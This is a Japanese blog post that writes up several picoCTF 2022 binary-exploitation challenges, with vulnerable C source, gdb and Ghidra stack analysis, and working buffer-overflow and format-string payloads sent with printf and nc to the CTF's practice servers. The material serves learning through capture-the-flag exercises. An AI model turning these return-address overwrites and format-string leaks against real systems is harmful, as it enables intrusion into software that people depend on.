0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF 2022

Last updated at Posted at 2025-03-06

x-sixty-what

ソースコードがあたえられていて、Flag関数にリターンアドレスを書き換えるとフラグが出るらしい。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  vuln();
  return 0;
}

ghidraで見てみると、
vuln関数のリターン先アドレスが00401338なので、ここを、flagのアドレス、0040123a or 00401236に書き換える。
スクリーンショット (52).png
スクリーンショット (53).png

gdb(pwndbg)でvuln呼び出し時のスタックと、ret,leaveの直前のスタック状況を見てみる。
64文字以上の文字列を適当に入れていくと、72文字を超えると、スタックが書き換わることが分かる。
1234567890123456789012345678901234567890123456789012345678901234567890aaAA
とすると0x4141が入ることが分かる。
スクリーンショット (56).png
スクリーンショット (54).png
このことから、

(printf '1234567890123456789012345678901234567890123456789012345678901234567890aa\x36\x12\x40\x00'; cat) | nc saturn.picoctf.net 59648

で行けると思いきや行けず。ローカルだと、
echo -e '1234567890123456789012345678901234567890123456789012345678901234567890aa\x3a\x12\x40\x00' | ./vuln
でいけたが、実環境ではいけない。
以下のサイトをみて、メイン関数のリターンアドレスを入れたところ、flagを取得できた。
https://qiita.com/colza_/items/6b1f051c937fa264bb34

(printf '1234567890123456789012345678901234567890123456789012345678901234567890aa\xd2\x12\x40\x00\x00\x00\x00\x00\x36\x12\x40\x00\x00\x00\x00\x00'; cat) | nc saturn.picoctf.net 59648

正常にプログラムが終了しないとncで文字列が届かないのかもしれない。

そこでサイトをみて、アセンブリと見比べると、401236に飛ばすとrbpをプッシュしていて、40123bに飛ばした場合はrbpをpushしていない。関数呼び出しでは、リターンアドレス=>ベースポインタ=>局所変数のようにスタックに積まれるので、401236に飛ばした場合mainが終了しようとすると、rbpにリターンするためエラーになる。しかし、40123bに飛ばせば、flagのアドレス、mainの帰るアドレスとなり、正常に終了する。
スクリーンショット (57).png

└─$ (printf '1234567890123456789012345678901234567890123456789012345678901234567890aa\x3b\x12\x40\x00'; cat) | nc saturn.picoctf.net 63257

Welcome to 64-bit. Give me a string that gets you the flag: 

picoCTF{}

RPS

ソースコードをみると、

char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};

  int computer_turn = rand() % 3;
  printf("You played: %s\n", player_turn);
  printf("The computer played: %s\n", hands[computer_turn]);

  if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;

とあり、乱数で0から3を生成し、hands[乱数]で選択し、それに勝てる配列loses[乱数]がユーザー入力に含まれていれば、勝ち。
strstr(player_turn, loses[computer_turn]
strstr : 文字列から指定した文字を検索し、ヒットした文字列のポインタを返す。
ということで、
すべての手を入れてみる。

Flag leak

今回もソースコードが与えられている。Flagを読み込んではいるが出力してくれない。
ヒントを見ると、formatstringattackとある。つまり、%n$pを使うらしい。スタックのどこにFlagがあるか調べる必要がある。
以下のサイトを見た。
https://medium.com/@0xwan/picoctf-2022-flag-leak-writeup-binary-exploitation-8d5194fb36f0
gdbを使用して、vuln関数のリターンアドレスを調べる。調べた後に、scanfでユーザー入力を読み取り、それを主つりょつ力する直後にブレークポイントを打ってスタック状況を確認する。

   0x08049380 <+77>:    call   0x8049180 <__isoc99_scanf@plt>
   0x08049385 <+82>:    add    esp,0x10
   0x08049388 <+85>:    sub    esp,0xc
   0x0804938b <+88>:    lea    eax,[ebx-0x1f67]
   0x08049391 <+94>:    push   eax
   0x08049392 <+95>:    call   0x8049120 <puts@plt>
   0x08049397 <+100>:   add    esp,0x10
   0x0804939a <+103>:   sub    esp,0xc
   0x0804939d <+106>:   lea    eax,[ebp-0xc8]
   0x080493a3 <+112>:   push   eax
   0x080493a4 <+113>:   call   0x80490f0 <printf@plt>
   0x080493a9 <+118>:   add    esp,0x10

x/70x $esp

x/70x $espの意味について x/70 $esp はGDBのコマンドで、スタックの内容を表示するために使用されます。

このコマンドの各部分を詳しく説明します:

x: GDBの「examine」(調査)コマンドです。メモリの内容を表示するために使用されます。

/70: 70個の単位(ここではおそらくバイトまたはワード)を表示することを指定しています。

$esp: ESPレジスタ(Extended Stack Pointer)の値を参照しています。これはスタックの現在の先頭を指すポインタです。

つまり、このコマンドは「ESPレジスタが指すアドレスから始まるメモリ領域の70単位分を表示する」という意味になります。
32bit = esp 64bit rsp

0x08049391 <+94>: push eax
b *0x80493a3
run
追記、vuln関数の終わりのほうにブレークポイントを打たないと、printf関数でアドレスを読み込んで出力するときに順番がずれる。例えば、vulnのscanf直後に打つと、%55$pとしてもリターンアドレスが出力されない。そのあとのprintfまでの間でスタック内が変化しているからだと思われる。

ローカルで実行するとFlagファイルがないといわれるので、作製する。バッファーが64で宣言されているので64個aを入力したflag.txtを作成した。
32bitアーキテクチャの場合、32bit=4byte 1文字=1byte #define BUFSIZE 64
=> 64文字
0x80493a3 の場合 08 04 93 9a となりひと塊4文字 64÷4=16
スクリーンショット (58).png

36個目から、64÷4=16 51個目まで0x61で埋まっていることが分かる。解説サイトでは、探す範囲を絞るために、リターンアドレス0x804918の位置を探したようだが、flagファイルをいじれば不要のようであった。0x804918は55個目にある。
%55$pとすると出力される。

 nc saturn.picoctf.net 56212
Tell me a story and then I'll tell you one >> %33$p%34$p%35$p%36$p%37$p%38$p%39$p%40$p%41$p%42$p%43$p%44$p%45$p%46$p%47$p%48$p%49$p
Here's a story -
0x80483380xf5265d200xf50eaab00x6f6369700x7b4654430x6b34334c0x5f676e310x67346c460x6666305f0x3474535f0x395f6b630x326539390x7d3432380xfbad20000x67b91400(nil)0xf52a1990

これをcyberchefで変換する。from hex
https://cyberchef.org/#recipe=From_Hex('Auto')

CVE-XXXX-XXXX

おしんとみたいな問題だったので、Perplexityに解いてもらった。

私たちが探しているCVEは、最初に記録されたリモートコード実行(RCE)です 2021 年に Windows Print Spooler Service の脆弱性 デスクトップ版とサーバー版のWindowsオペレーティングシステム間。サービスは プリンタとプリント サーバーの管理に使用されます。


回答
探しているCVEは、CVE-2021-34527です。

これは、2021年に発見されたWindows Print Spooler Serviceの重大な脆弱性で、「PrintNightmare」として知られています。以下がこのCVEの主な特徴です:

最初に2021年に報告されたWindows Print Spooler ServiceのRCE脆弱性

デスクトップ版とサーバー版の両方のWindowsオペレーティングシステムに影響

プリンタとプリントサーバーの管理に使用されるサービスに関連

リモートコード実行(RCE)を可能にする

この脆弱性は、認証されていないリモート攻撃者がシステム権限でコードを実行することを可能にするため、非常に深刻な問題となりました。

buffer overflow 0

ソースコードにSIGSEGV(セグメンテーション違反)が発生した場合にFlagを出力するようになっている箇所がある。

signal(SIGSEGV, sigsegv_handler); // Set up signal handler

シグナルSIGSEGVを検知すると、sigsegv関数を割り込み実行する。
ユーザー入力がバッファーの設定しかされていないので、適当に入力すると違反を起こし、Flagが出力される。
fflush(stdout)はバッファにたまっている内容を強制的に出力する。
=>printf("Input: ");で改行されていないので、出力されない場合があるがfflushで出力されるようにしているようだ。
また、gets()は、改行文字までの入力文字列を受けとってバッファーに入れる。ターミナルに入力した文字が随時出力されるのはターミナルの仕様らしい。

buffer overflow 1

44文字以上入力するとアドレスが書き換わる。そしてリターンアドレスを書き換えてWin関数に飛ばす必要があるようだ。
スクリーンショット (59).png
win関数のアドレスは 080491fb
gdbの場合
スクリーンショット (62).png
Ghidraの場合

スクリーンショット (61).png

vulnのもともとのリターんアドレスは 0804932f

スクリーンショット (63).png
スクリーンショット (64).png

ということでやってみたがローカルではうまくいかず、Writeupを見ると実環境では行けるらしい。

└─$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08'| ./vuln\ \(2\) 
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaazsh: done                echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08' | 
zsh: segmentation fault  ./vuln\ \(2\)

flagが出力された。

└─$ (printf '1234567890123456789012345678901234567890AAaa\xfb\x91\x04\x08'; cat) | nc saturn.picoctf.net 52239
Please enter your string: 

Okay, time to return... Fingers Crossed... Jumping to 0x80491fb
picoCTF{

buffer overflow 2

今回もソースコードが与えられている。前回と違う点は、以下の点で、引数のチェックをしている。

  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;

x86では、引数はstack経由で渡されるようだ。
https://mymanfile.com/?p=1614
Ghidraで確認してみるとebp stack[0x4]、stack[0x8]のようになっているので
スクリーンショット (68).png

ebp
win関数のアドレス 08049296
引数10xCAFEF00D
引数20xF00DF00D

となるはず。
Win関数のアドレスは、08049296
スクリーンショット (66).png

そして、113文字目からリターンアドレスが書き換わることが分かる。
スクリーンショット (67).png

└─$ echo -e '123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678\x9d\x92\x04\x08' > input.txt

でファイルを作成し、gdbで「run < input.txt」として実行すると
スクリーンショット (69).png
win関数に書き換わっている。

あとは、スタックに引数を詰めていくだけなので、

└─$ (printf '12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890AA\x96\x92\x04\x08\x00\x00\x00\x00\x0D\xF0\xFE\xCA\x0D\xF0\x0D\xF0'; cat) | nc saturn.picoctf.net 62808

のようになる。
IMG_9150.JPG

vuln関数の終了時点で、スタックはクリアされていて、ebpはmain関数で使われているものに、espはmain関数で最後に使用したところ(vulnのリターンアドレスの直前)で、この状況で、winに飛ぶ。つまり、Main関数からwinが呼ばれた状態みたいな感じ?win()の中で、ebpはpushされているが、main関数でローカル変数がないので、実質、EBPのアドレスは変わっていない?なので、win()内のebpはmainのebpの同じだから、ptr [EBP + Stack[0x4]]で呼び出せる?
スタック書き換えで、vuln呼び出し時のoldebpは適当なアドレスになってしまっているが、espに現在のebpをコピーして、ebpにoldebp(アドレスが適当なごみ)をポップしてコピー。win関数内で、ごみebpをpushして、espからebpにコピー。
ちょっと解釈があっているかわからないです

basic-file-exploit

今回もソースコードが与えられている。自分で読み解けなかったのでGPT4oに解いてもらった。

static void data_read()
  if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
  }

この関数でflagを読み込んで出力しているのでここに飛ぶような引数をいれればよい。
strtolで入力文字をlong型の数値に変換して0であればよい。また、strtolはなにも入力しない場合に0を返すので空文字でもよい。

main()
if (inputs == 0) {
        puts("No data yet");
        continue;
      }

ここで、command=2の時にdata_read()が呼ばれているが、inputが0の場合はスキップされてしまう。なので、inputsを更新する必要がある。初期値は、0に設定されていてdata_write関数でinputsが更新されているので一度以上書き込む必要がある。

  strcpy(data[inputs], input);
  input_lengths[inputs] = length;

  printf("Your entry number is: %d\n", inputs + 1);
  inputs++;

以上より、
最初に1を入力してdata_writeを呼び出して適当な文字列と文字数を入力する。
ここでinpputsが0以外になっているはずなので、2を入力してdata_Readを呼び出す。
次に、入力文字列が0または空文字だった場合にflagがでてくるので、0を入力する。

Hi, welcome to my echo chamber!     
Type '1' to enter a phrase into our database   
Type '2' to echo a phrase in our database   
Type '3' to exit the program         
1                          
1                    
aPlease enter your data:    
s                     
as                    
Please enter the length of your data:  
2                 
2                          
Your entry number is: 1  
Write successful, would you like to do anything else?  
2                    
2     
Please enter the entry number of your data:   
No data given.              
picoCTF{M4K3_5UR3_7

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?